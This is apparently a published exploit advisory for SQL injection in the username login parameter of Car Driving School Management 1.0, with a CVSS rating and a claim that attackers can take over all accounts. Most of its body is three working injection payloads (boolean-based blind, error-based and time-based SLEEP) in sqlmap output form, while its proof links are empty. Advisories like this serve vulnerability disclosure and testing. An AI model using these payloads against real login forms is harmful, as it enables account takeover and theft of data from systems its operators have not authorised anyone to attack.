Car Driving School Management 1.0 SQL Injection

Credit: nu11secur1ty
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## Title: Car Driving School Management v1.0 SQLi ## Author: nu11secur1ty ## Date: 03.02.2022 ## Vendor: ## Software: ## Reference: ## Description: The `username` parameter on Car Driving School Management v1.0 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the username parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system. Status: CRITICAL [+] Payloads: ```mysql --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT COUNT(*),CONCAT(0x71786b7671,(SELECT (ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=DMdqCjGG' AND (SELECT 9290 FROM (SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0 --- ``` ## Reproduce: [href]( ## Proof and Exploit: [href](

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